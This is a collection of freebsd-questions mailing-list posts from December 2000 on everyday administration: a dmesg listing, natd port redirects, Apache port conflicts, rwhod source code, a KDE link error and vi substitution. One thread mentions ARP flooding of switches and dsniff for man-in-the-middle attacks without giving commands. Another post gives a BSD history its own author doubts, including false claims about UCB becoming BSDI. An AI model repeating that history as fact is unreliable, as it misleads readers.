Copyright (c) 1992-2000 The FreeBSD Project.                
Copyright (c) 1979, 1980, 1983, 1986,1988, 1989, 1991, 1992, 1993, 1994       
The Regents of the University of California. All rights reserved.            
FreeBSD 4.1.1-RELEASE #0: Tue Jan  1 07:28:31 GMT 1980                        
root@drnet.fais.net:/usr/src/sys/compile/DRNET          
Timecounter "i8254"  frequency 1193182 Hz                                     
CPU: i486 DX2 (486-class CPU)                                                 
Origin = "GenuineIntel"  Id = 0x435  Stepping = 5         
Features=0x3<FPU,VME>                                                         
real memory  = 33554432 (32768K bytes)                                        
avail memory = 30339072 (29628K bytes)
Preloaded elf kernel "kernel" at 0xc0279000.
md0: Malloc disk
npx0: <math processor> on motherboard
npx0: INT 16 interface
isa0: <ISA bus> on motherboard
aha0 at port 0x330-0x333 irq 11 drq 5 on isa0
aha0: AHA-1542CF FW Rev. C.0 (ID=45) SCSI Host Adapter, SCSI ID 7, 16 CCBs
vga0: <Generic ISA VGA> at port 0x3b0-0x3cf iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA (mono) <16 virtual consoles, flags=0x300>
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1: configured irq 3 not in bitmap of probed irqs 0                        
ed0 at port 0x300-0x31f iomem 0xd8000 irq 3 on isa0
ed0: address 00:40:05:14:c7:2c, type NE2000 (16 bit)
IP packet filtering initialized, divert disabled, rule-based forwarding 
disabled, default to accept, logging disabled
Waiting 15 seconds for SCSI devices to settle
da0 at aha0 bus 0 target 0 lun 0
da0: <QUANTUM LPS525S 3110> Fixed Direct Access SCSI-2 device
da0: 3.300MB/s transfers
da0: 501MB (1027548 512 byte sectors: 64H 32S/T 501C)
Mounting root from ufs:/dev/da0s1a
  
2:38AM  up  23 days, 7:18, 1 user, load averages: 0.13, 0.23, 0.23    

bash$ ps xa
  PID  TT  STAT      TIME COMMAND
    0  ??  DLs    0:00.69  (swapper)
    1  ??  ILs    0:01.72 /sbin/init --
    2  ??  DL     0:02.30  (pagedaemon)
    3  ??  DL     0:00.00  (vmdaemon)
    4  ??  DL     0:02.49  (bufdaemon)
    5  ??  DL     0:43.44  (syncer)
   24  ??  Is     0:00.09 adjkerntz -i
   63  ??  Ss    47:56.49 /usr/sbin/ppp -quiet -ddial -nat fais
  128  ??  Ss     0:20.67 syslogd -s
  147  ??  Is     0:05.50 inetd -wW
  149  ??  Is     0:12.75 cron
  152  ??  Ss     0:18.06 sendmail: accepting connections (sendmail)
  182  ??  Is     0:08.79 /usr/local/libexec/cucipop -YaSqE 6w
 1755  ??  Is     0:37.30 /usr/sbin/named
 2474  ??  Ss     0:02.75 telnetd
 2482  ??  Z      0:00.00  (cucipop)
 2475  p0  Ss     0:05.31 -bash (bash)
 2483  p0  R+     0:00.08 ps xa
 1001  v0  Is+    0:00.87 /usr/libexec/getty Pc ttyv0
  189  v1  Is+    0:00.88 /usr/libexec/getty Pc ttyv1
  188  ??  Is	  0:00.75 lpd
 
The key is, secure everything down, and load everything in inetd. :P

notice the 3.300MB/s HDD transfer

-jwp


On Wednesday 20 December 2000 02:28, Cliff S. wrote:
> > I think this might help you out some, its my two systems, and for what
> > they do, they work great :P
> >
> > On my LAN, I have a 66mhz pentium machine. With a 500MB scsi hdd and
> > 4.1.1-R, it runs Samba, acts as my internet gateway, firewalls my
> > network, nat's certain ports, runs fetchmail to download e-mail from all
> > of my family's e-mail accounts, runs cucipop for pop3 over the network,
> > sendmail with smart relaying, apache for my local webpages, and runs
> > three printers (all which get pretty heavy usage)....<snip>
>
> Now that is very impressive!
> I am setting up a machine to do more or less the same thing (well a few
> less printers) - but I have the luxury of a P120 with a 4 Gig disk, 64MB
> edo ram .. ... old technology, don't knock it :)
>
> Cliff
>
> mm, maybe I don;t need that new whizzy fizzy PC for christmas after
> all..

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I've been using a 4.0-RELEASE for several months without any problem.

However, last week it crashed suddenly saying:

Fatal trap 12: page fault while in kernel mode
current process              = 52325 (ftp)

Tody it happend again, also doing an ftp to a sun.

How should I handle this ?

upgrade ftp ? ugrade the whole box ? turn on debugging ?

Thanks,

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If you're one of the folks who got cheap when it came time to buy a
modem, chances are that you got a WinModem Sportster. This being the
case, it isn't going to work for you. If it's new, I'd recommend
returning it for an external model (which you know isn't a winmodem).
-Otter

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Misters, i have 56k US Robotics Sporster Int. PCI PnP modem.
I do not this modem to instaled. Please help me instaled thes modem. I
have curren version FreeBSD 3.3

Help me, please.
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On Wed, Dec 20, 2000 at 09:31:42AM +0100, Thomas Uhrfelt wrote:
> Due to my somewhat confusing post about getting help with telnet redirects 
> I have decided to put a more extensive description of my setup and problem 
> for review by the people subscribing to this list.
> 
> I manage two (2) FreeBSD gateways on seperate locations, both handling an 
> internal 192.168.*.* network - the traffic is is tunnled using pipsecd 
> between these networks.
> 
> Network topology
> --------------------
> 192.168.1.*----192.168.1.254(FREEBSD1)A.B.C.D---(I N T E R N E 
> T)---E.F.G.H(FREEBSD2)192.168.10.254---192.168.10.10(TELNETMACHINE)
> 
> 
> Problem description
> ------------------------
> 
> I want to allow people outside on the internet telnet access to the machine 
> above called TELNETMACHINE. Both FreeBSD gateways are using ipfw+natd for 
> NAT and Firewalling. I have tried using the directives: -redirect_port tcp 
> 192.168.10.10:23 8888 and -redirect_port udp 192.168.10.10:23 8888 on the 
> FREEBSD2 machine then tried to telnet into E.F.G.H on port 8888 (while 
> using tcpdump on both the external and internal interface on FREEBSD) but I 
> get no response. And the tcpdump shows the telnet from outside reaching 
> FREEBSD2 but there is no activity what so ever on the internal interface - 
> which in my opinion shows that I am making some fundamental error trying to 
> get natd to behave and redirect the telnet session. I am inclined to think 
> that I am the one being a moron here and that it's not due to a bug in 
> natd.
> 
> Any pointers? I was thinking about giving up and using bounce until I saw 
> that it's only able to "bounce" tcp and not udp packets.

Telnet does not use UDP. This is/will not be an issue.

> There gotta be 
> someone out there with a similar problem like mine that has been solved.. 
> right?

Sounds like there is a good chance it is being blocked by your
firewall. What do your rules look like?
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> 
> Telnet does not use UDP. This is/will not be an issue.

I just took the safe method since it's listed in /etc/services as both udp and tcp.

> > There gotta be 
> > someone out there with a similar problem like mine that has been solved.. 
> > right?
> 
> Sounds like there is a good chance it is being blocked by your
> firewall. What do your rules look like?
> -- 
> Crist J. Clark                           cjclark@alum.mit.edu

For testing now, the only thing in them is allow ip from any to any apart from the natd divert.

It works telneting via the tunnel from 192.168.1.* net to the 192.168.10.10 machine so that part is working..


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> > 
> > Telnet does not use UDP. This is/will not be an issue.
 
 I just took the safe method since it's listed in /etc/services as both udp and tcp.
 
> > > There gotta be 
> > > someone out there with a similar problem like mine that has been solved.. 
> > > right?
> > 
> > Sounds like there is a good chance it is being blocked by your
> > firewall. What do your rules look like?
> > -- 
> > Crist J. Clark                           cjclark@alum.mit.edu
> 
 For testing now, the only thing in them is allow ip from any to any apart from the natd divert.
 
 It works telneting via the tunnel from 192.168.1.* net to the 192.168.10.10 machine so that part is working..


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It's a good idea when poor.  =)  Thanks for your help.  I'm able to
use amp and sox to convert my mp3s to waves for writing on to CD.

Eyal

cam (Camille HUOT) writes:

 > On Tue, 19 Dec 2000 13:49:47 -0800
 > Eyal Soha <esoha@cisco.com> wrote:
 > 
 > > All that only works with SCSI, right?  How about an all IDE
 > > solution?
 > > I was able to use sox and burncd to write wave files to the CD.  Can
 > > I
 > > do a cd-to-cd copy with an IDE drive?
 > > 
 > what stupid idea is to buy an ide cd writer ;)

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> Sir i want to know what is the meaning of FreeBSD, please let me know
> its fullform
> 
> regards
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> naveen
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University of California at Berkeley at one point in time bought the =
rights to work on UNIX from Bell Systems back in 1978. They shortly =
thereafter forged their own variant of UNIX which they called BSD =
(Berkeley Software Distribution). Soon after came 2BSD (which shipped 75 =
copie, as opposed to the 30 shipped of BSD.) 2.8.1BSD gave way to many =
enhancements, and is more important than 3BSD in that aspect.=20
4BSD was released in 1980, 4.1BSD in 1981 (which has revisions made =
between 82 and 83), 4.2 in 83, and finally 4.4BSD in 93. (I think some =
of those dates are inaccurate, but I only have one source on this at the =
moment.)) After 4.4BSD, UCB was forced to become BSDI, which is now a =
major non-free Unix. Using 4.4BSD, there have been multiple offspring. =
OpenBSD, NetBSD, FreeBSD and BSD Lite. Open referring to Open source, =
Net referring to Networking based and Free being without cost. BSD Lite =
is a small version of BSD (never really had much experience with =
anything but FBSD.)

And if the rumors I've heard have any validity, I hear FBSD 5.0 is =
planning on united OBSD, NBSD and FBSD. Yay!
  ----- Original Message -----=20
  From: Mr. Makarand Kulkarni=20
  To: freebsd-questions@FreeBSD.ORG=20
  Sent: Tuesday, December 19, 2000 2:24 AM


  Sir i want to know what is the meaning of FreeBSD, please let me know =
its fullform

  regards


  naveen

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<DIV><FONT face=3DArial size=3D2>University of California at =
Berkeley&nbsp;at one=20
point in time bought the rights to work on UNIX from Bell Systems back =
in 1978.=20
They shortly thereafter forged their own variant of UNIX which they =
called BSD=20
(Berkeley Software Distribution). Soon after came 2BSD (which shipped 75 =
copie,=20
as opposed to the 30 shipped of BSD.) 2.8.1BSD gave way to many =
enhancements,=20
and is more important than 3BSD in that aspect. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>4BSD was released in 1980, 4.1BSD in =
1981 (which=20
has revisions made between 82 and 83), 4.2 in 83, and finally 4.4BSD in =
93. (I=20
think some of those dates are inaccurate, but I only have one source on =
this at=20
the moment.)) After 4.4BSD, UCB was forced to become BSDI, which is now =
a major=20
non-free Unix. Using 4.4BSD, there have been multiple offspring. =
OpenBSD,=20
NetBSD, FreeBSD and BSD Lite. Open referring to Open source, Net =
referring to=20
Networking based and Free being without cost. BSD Lite is a small =
version of BSD=20
(never really had much experience with anything but FBSD.)</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>And if the rumors I've heard have any =
validity, I=20
hear FBSD 5.0 is planning on united OBSD, NBSD and FBSD. =
Yay!</FONT></DIV>
<BLOCKQUOTE=20
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  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:freebsd-questions@FreeBSD.ORG"=20
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  <DIV><FONT face=3DArial size=3D2>Sir i want to know what is the =
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  FreeBSD, please let me know its fullform</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>regards</FONT></DIV>
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Ty,

    First, are you starting it up as root? Second, is there already =
apache running on that machine, or another service that's binding to 80? =
I'd take a look into that...

    Regards,

Kris
  ----- Original Message -----=20
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  Sent: Wednesday, December 20, 2000 3:23 AM
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  Hello everybody,

  The other day, I had to reboot my machine ( I know, it's sad, but it =
had to be done). When it came back up, Apache wouldn't start up. It gave =
the error in error_log that it couldn't bind to port 80. I've bound it =
to port 81 since, and that was successful. I've toyed with =
/etc/inetd.conf without much success. I'm open to suggestions.

  Ty

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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; First, are you =
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root? Second, is there already apache running on that machine, or =
another=20
service that's binding to 80? I'd take a look into that...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; =
Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Kris</FONT></DIV>
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  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3Dquestions@FreeBSD.ORG=20
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2000 3:23=20
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  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Apache won't =
start</DIV>
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  <DIV><FONT face=3DArial size=3D2>Hello everybody,</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>The other day, I had to reboot my =
machine ( I=20
  know, it's sad, but it had to be done). When it came back up, Apache =
wouldn't=20
  start up. It gave the error in error_log that it couldn't bind to port =
80.=20
  I've bound it to port 81 since, and that was successful. I've toyed =
with=20
  /etc/inetd.conf without much success. I'm open to =
suggestions.</FONT></DIV>
  <DIV>&nbsp;</DIV>
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Hi!

how i can get more virtual consoles than 16?

P.S. Sorry for my bad english.. :)

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I've tried starting it up as a number of users. Root, a superuser a =
regular user. Doesn't seem to make a difference. I've tried scanning for =
anything on that port. There is something running on the port, I can =
connect to it. I just can figure out what kind of service it is. Any =
ideas?
  ----- Original Message -----=20
  From: Kristopher E. Borodiansky=20
  To: Tyler K McGeorge ; questions@FreeBSD.ORG=20
  Sent: Wednesday, December 20, 2000 4:32 AM
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  Ty,
  =20
      First, are you starting it up as root? Second, is there already =
apache running on that machine, or another service that's binding to 80? =
I'd take a look into that...
  =20
      Regards,
  =20
  Kris
    ----- Original Message -----=20
    From: Tyler K McGeorge=20
    To: questions@FreeBSD.ORG=20
    Sent: Wednesday, December 20, 2000 3:23 AM
    Subject: Apache won't start


    Hello everybody,

    The other day, I had to reboot my machine ( I know, it's sad, but it =
had to be done). When it came back up, Apache wouldn't start up. It gave =
the error in error_log that it couldn't bind to port 80. I've bound it =
to port 81 since, and that was successful. I've toyed with =
/etc/inetd.conf without much success. I'm open to suggestions.

    Ty

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<DIV><FONT face=3DArial size=3D2>I've tried starting it up as a number =
of users.=20
Root, a superuser a regular user. Doesn't seem to make a difference. =
I've tried=20
scanning for anything on that port. There is something running on the =
port, I=20
can connect to it. I just can figure out what kind of service it is. Any =

ideas?</FONT></DIV>
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  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
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  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; First, are you =
starting it up=20
  as root? Second, is there already apache running on that machine, or =
another=20
  service that's binding to 80? I'd take a look into =
that...</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; =
Regards,</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
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title=3Dtreznor@sunflower.com>Tyler K=20
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    <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
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    <DIV><FONT face=3DArial size=3D2>Hello everybody,</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT face=3DArial size=3D2>The other day, I had to reboot my =
machine ( I=20
    know, it's sad, but it had to be done). When it came back up, Apache =

    wouldn't start up. It gave the error in error_log that it couldn't =
bind to=20
    port 80. I've bound it to port 81 since, and that was successful. =
I've toyed=20
    with /etc/inetd.conf without much success. I'm open to=20
    suggestions.</FONT></DIV>
    <DIV>&nbsp;</DIV>
    <DIV><FONT face=3DArial=20
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On Wed, Dec 20, 2000 at 12:34:54PM +0400, Iana Liadze wrote:
> Did anybody have the following messages:
> rwhod:malformed host name from 238d48d 

grepping the source:
	if (!verify(wd.wd_hostname, sizeof wd.wd_hostname)) {
		syslog(LOG_WARNING, "malformed host name from %x",
			from.sin_addr);
		continue;
	}

So it's a hex representation of the IP address

02 38 d4 8d = 2.56.212.141 (or 141.212.56.2, I'm never sure about this)

wd_hostname is *your* hostname, as initialized at the begin of main().

        /*
         * Establish host name as returned by system.
         */
        if (gethostname(myname, sizeof(myname) - 1) < 0) {
                syslog(LOG_ERR, "gethostname: %m");
                exit(1);
        }
        if ((cp = index(myname, '.')) != NULL)
                *cp = '\0';
        strncpy(mywd.wd_hostname, myname, sizeof(mywd.wd_hostname) - 1);
        mywd.wd_hostname[sizeof(mywd.wd_hostname) - 1] = '\0';

So, what is the hostname of your machine?
It shouldn't contain anything but 0-9, a-z and A-Z and its size
should be >0. See the verify function for this (hmmm... shouldn't
the minus (-) be allowed in this?)

Edwin, loves having the source-code!

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On Wed, Dec 20, 2000 at 04:31:51AM -0600, Tyler K McGeorge wrote:
> I've tried starting it up as a number of users. Root, a superuser
> a regular user. Doesn't seem to make a difference. I've tried
> scanning for anything on that port. There is something running on
> the port, I can connect to it. I just can figure out what kind of
> service it is. Any ideas?

Install lsof (/usr/ports/sysutils/lsof) and grep the output for LISTEN:

[/usr/home/edwin] root@p6>/usr/local/sbin/lsof | grep LISTEN
rom        2178   edwin    6u  IPv4 0xc80dad80        0t0     TCP *:4000 (LISTEN)
sshd        183    root    4u  IPv4 0xc80d9d80        0t0     TCP *:ssh (LISTEN)
httpd-php   227    root   17u  IPv4 0xc80d9b60        0t0     TCP *:http (LISTEN)

See, it's httpd-php for me which is listening op the http-port.

Edwin

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What packages need to download (and from which ftp site) in order to install
FreeBSD ?

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All the info that many people need is available in the Handbook (online) at
http://www.freebsd.org

I suggest you have a poke around that first then post another question to
here if /when you get into trouble. There are quite a few more resources
around but best to not get confused right now :)

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> What packages need to download (and from which ftp site) in order to
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>>>>> "Greg" == Greg Lehey <grog@lemis.com> writes:


>> I've got a Canon S10 Digital Camera. This model uses CompactFlash I
>> and II cards to store pictures (as jpeg or tiff files). Canon sells a
>> Pcmcia adapter to put a CF card. As far i've understood, the card is
>> viewed as a simple ram card : it's a great thing as there is no need
>> for further software.

Greg> That's the problem.  There may already be one in there, in which case
Greg> you may need to do nothing.  I can't see anything in there with the
Greg> name Canon, but the card doesn't have to have the Canon name.  A
Greg> typical entry might be like this:

I've bought this adapter and, just FYI :

The PCMCIA adapter is automagically recognized as SanDisk (i dont
change anything in pccard.conf) at ata2-master. Don't know why the
slice is ad4s1 (i've only a hard disk, no CD-ROM) but it works...

Thanks for your explanations.

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How do i do so that the uptime can be shown in netcraft.com.

Please dont give an answer like "why do you want to do that" and so on.

If you got the answer please let me know.

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Hi,

Right now I'm writing man-pages using other man-pages as a source.
Now I have to explain other people how to write them (this is great
fun :-) Does anybody know a document I can use to explain
what ".Op Fl g Ar gateway-IP-address" does? :-)

Edwin

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Hey Bjarne,

  As this is linking against OpenMotif, the link options ought to
  include -lXp.

  Perhaps you could email the port maintainer? Thanks.

  Cheers,

    Bart.

Bjarne Wichmann Petersen <mekanix@vip.cybercity.dk> writes:
> I'm trying to install KDE 2.0.1 from ports/x11/kde2/... everything goes fine until somewhere into kdebase. This is the error:
> 
> c++ -O2 -fno-exceptions -fno-check-new -Wall -pedantic -W -Wpointer-arith -Wmissing-prototypes -Wwrite-strings -Wno-long-long -fno-builtin -O -pipe -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o nspluginviewer nsplugin.o viewer.o kxt.o NSPluginCallbackIface_stub.o NSPluginClassIface_skel.o nspluginviewer_meta_unload.o -Wl,-export-dynamic -Wl,--export-dynamic  -L/usr/X11R6/lib -L/usr/local/lib -lXm -ljpeg -ljpeg -L/usr/libexec/elf -L/usr/libexec -L/usr/lib -ljpeg /usr/local/lib/libkio.so /usr/local/lib/libkdeui.so -ljpeg -ljpeg -ljpeg -ljpeg /usr/local/lib/libkdesu.so /usr/local/lib/libkdecore.so /usr/local/lib/libDCOP.so -lqt2 -lpng -ljpeg -lXext -lX11 -lSM -lICE -ljpeg -ljpeg -lutil -ljpeg -lz -ljpeg -lm -lXt -ljpeg -lstdc++ -lgcc -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/local/lib -Wl,--rpath -Wl,/usr/X11R6/lib
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `PrintNotifyHandler':
> PrintS.o(.text+0x148): undefined reference to `XpStartPage'
> PrintS.o(.text+0x161): undefined reference to `XpEndPage'
> PrintS.o(.text+0x179): undefined reference to `XpEndJob'
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> PrintS.o(.text+0x26b): undefined reference to `XpGetPageDimensions'
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> PrintS.o(.text+0x308): undefined reference to `XpGetContext'
> PrintS.o(.text+0x31b): undefined reference to `XpSelectInput'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `Initialize':
> PrintS.o(.text+0x439): undefined reference to `XpQueryExtension'
> PrintS.o(.text+0x450): undefined reference to `XpGetContext'
> PrintS.o(.text+0x46d): undefined reference to `XpGetScreenOfContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `Destroy':
> PrintS.o(.text+0x5cf): undefined reference to `XpGetContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `FilePipeCB':
> PrintS.o(.text+0x75b): undefined reference to `XpGetContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `ChildPrintToFile':
> PrintS.o(.text+0x820): undefined reference to `XpGetDocumentData'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `XmPrintToFile':
> PrintS.o(.text+0x88a): undefined reference to `XpGetContext'
> /usr/X11R6/lib/libXm.a(PrintS.o): In function `XmPrintPopupPDM':
> PrintS.o(.text+0xac7): undefined reference to `XpGetContext'
> PrintS.o(.text+0xae4): undefined reference to `XpGetPdmStartParams'
> /usr/X11R6/lib/libXm.a(ImageCache.o): In function `_XmPutScaledImage':
> ImageCache.o(.text+0x1707): undefined reference to `XpQueryExtension'
> ImageCache.o(.text+0x171a): undefined reference to `XpGetContext'
> ImageCache.o(.text+0x1737): undefined reference to `XpGetOneAttribute'
> ImageCache.o(.text+0x177a): undefined reference to `XpSetImageResolution'
> ImageCache.o(.text+0x17b5): undefined reference to `XpSetImageResolution'
> gmake[3]: *** [nspluginviewer] Error 1
> gmake[3]: Leaving directory `/usr/ports/x11/kdebase2/work/kdebase-2.0.1/nsplugins/viewer'
> 
> What am I missing here? And how do I correct it?
> 
> Bjarne
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A couple of months ago I searched the on-line catalog of Addison-Wesley
(www.awl.com) for a book about FreeBSD. The search returned "The Design And
Implementation Of FreeBSD Operating System", copyrighted 2001. There was no
further information (TOC, cover photo, etc.).
   About two-three weeks ago I searched again for the book, to see more info
about it, but I couldn't find it anymore! What's happened? Will it still be
available in the first quarter of 2001?

	Francesco Casadei
 


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Yes come on chaps and chappesses get it written !
A new book in the Linux kernel has just been published (Jan 2001 - but
now available even here in far away Holland) .. still space on the
bookshelves .. :)

Cliff

> A couple of months ago I searched the on-line catalog of Addison-Wesley
> (www.awl.com) for a book about FreeBSD. The search returned "The Design And
> Implementation Of FreeBSD Operating System", copyrighted 2001. There was no
> further information (TOC, cover photo, etc.).
>    About two-three weeks ago I searched again for the book, to see more info
> about it, but I couldn't find it anymore! What's happened? Will it still be
> available in the first quarter of 2001?
> 
> 	Francesco Casadei
>  
> 
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On 20 Dec 2000, Bart Lindsey wrote:

>   As this is linking against OpenMotif, the link options ought to
>   include -lXp.

That's strange.  Why would KDE be linking against Motif?  I though it used
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On Wed, Dec 20, 2000 at 12:49:03PM +0100, Edwin Groothuis wrote:
> Hi,
> 
> Right now I'm writing man-pages using other man-pages as a source.
> Now I have to explain other people how to write them (this is great
> fun :-) Does anybody know a document I can use to explain
> what ".Op Fl g Ar gateway-IP-address" does? :-)
> 
mdoc(7), mdoc.samples(7).

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On Tue, 19 Dec 2000, David Talkington wrote:

> Far as I know, hard-coding an arp table is the only way to prevent
> that sort of thing ... someone please correct me if I'm wrong?

Hardcoding the ARP table both in the switch and in every computer "to be
protected" in the network. Every computer would have to know both IP and
ethernet address of at least the router, the nameserver and all
computers it connects to.

Will it be enough?

...putting the switch into a mode like "use only-and-only this hardcoded
arp-table"....



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Hello again!

Well, i am depressed now :( The issue is even worse than i thought
at first. So, SHOUD I upgrade to switches? Will they REALLY help?

Or should i build a simple FreeBSD router for each branch of the tree
with a buch of ethernet cards. For example. In a room with 8 computers i
will install a Pentium MMX with 8 PCI slots and 8 network cards and route
pure IP, no MAC  addresing (i don't need ipx rounter or anything, just ip).

Is there relatively cheap switches wich do the same? Is it even a solution?


----- Original Message ----- 
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> > I believe most switches are Layer 2 which is MAC based. You would
> have to
> > know the MAC address of the computer you want to intercept traffic
> for, and
> > then your switch would have to give you the packets instead of
> erroring out
> > and or dropping the packets because you can't have two of the same
> MAC
> > addresses on the network.
> 
> Well, there's MAC/ARP-proxying which allows pretty sophisticated 
> maninthemiddles and quite a few of the more common switches fall
> back into Hub-Mode when you flood them with bogus ARP-entries.
> dsniff (ports/security) facilitates those attacks.
> 
> Switches aren't much more secure than hubs, it's more a design- and
> speed-issue than a security-thingie to have 'em in your network.
> 
> jonas
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On Wed, Dec 20, 2000 at 02:21:54PM +0200, Ruslan Ermilov wrote:
> On Wed, Dec 20, 2000 at 12:49:03PM +0100, Edwin Groothuis wrote:
> > Right now I'm writing man-pages using other man-pages as a source.
> > Now I have to explain other people how to write them (this is great
> > fun :-) Does anybody know a document I can use to explain
> > what ".Op Fl g Ar gateway-IP-address" does? :-)
> mdoc(7), mdoc.samples(7).

You're a hero!

Edwin

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N/A for windows. Only for UNIX. So, not usable in heterogenic
networks.

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> On Tue, 19 Dec 2000, David Talkington wrote:
>
> > Far as I know, hard-coding an arp table is the only way to prevent
> > that sort of thing ... someone please correct me if I'm wrong?
>
> Hardcoding the ARP table both in the switch and in every computer "to be
> protected" in the network. Every computer would have to know both IP and
> ethernet address of at least the router, the nameserver and all
> computers it connects to.
>
> Will it be enough?
>
> ...putting the switch into a mode like "use only-and-only this hardcoded
> arp-table"....
>
>
>
> Vladimir Mencl
>
>
>
>
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Here's a tough one!

I want to replace the two dots ``..'' with a URL address like
``http://website.address.com'' in the following text:

"../path/to/website/index.html"

The vi command would be...

:s/\../http://website.address.com

but, the two forward slashes following "http:" confuse vi's replace command.

Any ideas?


Richard Schuder
Cool Wave Communications




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> Here's a tough one!
> 
> I want to replace the two dots ``..'' with a URL address like
> ``http://website.address.com'' in the following text:
> 
> "../path/to/website/index.html"
> 
> The vi command would be...
> 
> :s/\../http://website.address.com
> 
> but, the two forward slashes following "http:" confuse vi's replace command.
> 
> Any ideas?
> 
> 
use another delimiter, and eascape both "."s

try ...

:s;\.\.;http://website.address.com;

Cliff



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On Wed, Dec 20, 2000 at 04:36:52AM -0800, Richard Schuder wrote:
> Here's a tough one!
> 
> I want to replace the two dots ``..'' with a URL address like
> ``http://website.address.com'' in the following text:
> 
> "../path/to/website/index.html"
> 
> The vi command would be...
> 
> :s/\../http://website.address.com
> 
> but, the two forward slashes following "http:" confuse vi's replace command.

Just escape them like you did with the dots:

    :s/\.\./http:\/\/website.address.com

Edwin

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I don't know enough about KDE2.X, but the object being built in the
make is called nspluginviewer. Perhaps this is some kind of
Netscape/Mozilla integration into KDE?

It _is_ interesting that it's being linked against both libqt2 _and_
libXm; quite a hybrid!

Cheers,

  Bart.

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> 
> >   As this is linking against OpenMotif, the link options ought to
> >   include -lXp.
> 
> That's strange.  Why would KDE be linking against Motif?  I though it used
> Qt and KDE-Qt-addon exclusively.


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You don;t need all these backslashes.. you can use various
characters as the string delimiters .. better solution unless you
like going cross-eyed !

Cliff

> On Wed, Dec 20, 2000 at 04:36:52AM -0800, Richard Schuder wrote:
> > Here's a tough one!
> > 
> > I want to replace the two dots ``..'' with a URL address like
> > ``http://website.address.com'' in the following text:
> > 
> > "../path/to/website/index.html"
> > 
> > The vi command would be...
> > 
> > :s/\../http://website.address.com
> > 
> > but, the two forward slashes following "http:" confuse vi's replace command.
> 
> Just escape them like you did with the dots:
> 
>     :s/\.\./http:\/\/website.address.com
> 
> Edwin
> 
> -- 
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On Mon, Dec 18, 2000 at 05:11:13PM -0200, sac@gruponet.com.br wrote:
> Mrs.
> 
> How do you do for not permited access of the users for others directories, oh the others ftp's in my ftpd?
> example: ftp://joao , if this user run the command cd .., he hasn't permission to access others directorios, of the others domains.
> I have the file ftpchroot and your domains registred.
 
I assume then, by "have the file ftpchroot", you mean that the 
file exists.  In the file, should be usernames of the users
which you would like chroot'd.  

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Ty,

    Yes, try ps auxgw|more and look for any processes that could be =
using port 80 possibly, as one approach. Another approach, is netstat =
-a|grep 80 or netstat -a |grep http. Also, see what's started up at =
boot, you could possibly already have apache running.

    Regards,

Kris
  ----- Original Message -----=20
  From: Tyler K McGeorge=20
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  Sent: Wednesday, December 20, 2000 5:31 AM
  Subject: Re: Apache won't start


  I've tried starting it up as a number of users. Root, a superuser a =
regular user. Doesn't seem to make a difference. I've tried scanning for =
anything on that port. There is something running on the port, I can =
connect to it. I just can figure out what kind of service it is. Any =
ideas?
    ----- Original Message -----=20
    From: Kristopher E. Borodiansky=20
    To: Tyler K McGeorge ; questions@FreeBSD.ORG=20
    Sent: Wednesday, December 20, 2000 4:32 AM
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    Ty,

        First, are you starting it up as root? Second, is there already =
apache running on that machine, or another service that's binding to 80? =
I'd take a look into that...

        Regards,

    Kris
      ----- Original Message -----=20
      From: Tyler K McGeorge=20
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      Sent: Wednesday, December 20, 2000 3:23 AM
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      Hello everybody,

      The other day, I had to reboot my machine ( I know, it's sad, but =
it had to be done). When it came back up, Apache wouldn't start up. It =
gave the error in error_log that it couldn't bind to port 80. I've bound =
it to port 81 since, and that was successful. I've toyed with =
/etc/inetd.conf without much success. I'm open to suggestions.

      Ty

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  <DIV><FONT face=3DArial size=3D2>I've tried starting it up as a number =
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  Root, a superuser a regular user. Doesn't seem to make a difference. =
I've=20
  tried scanning for anything on that port. There is something running =
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On Wed, 20 Dec 2000, Artem Koutchine wrote:

> Date: Wed, 20 Dec 2000 15:27:41 +0300
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> To: Jonas Luster <JonasL@webex.com>, security@FreeBSD.ORG,
>      questions@FreeBSD.ORG
> Subject: Re: What anti-sniffer measures do i have? 
> 
> Hello again!
> 
> Well, i am depressed now :( The issue is even worse than i thought
> at first. So, SHOUD I upgrade to switches? Will they REALLY help?
> 
> Or should i build a simple FreeBSD router for each branch of the tree
> with a buch of ethernet cards. For example. In a room with 8 computers i
> will install a Pentium MMX with 8 PCI slots and 8 network cards and route
> pure IP, no MAC  addresing (i don't need ipx rounter or anything, just ip).

and don't forget give root shell to this 8 mans ;-)
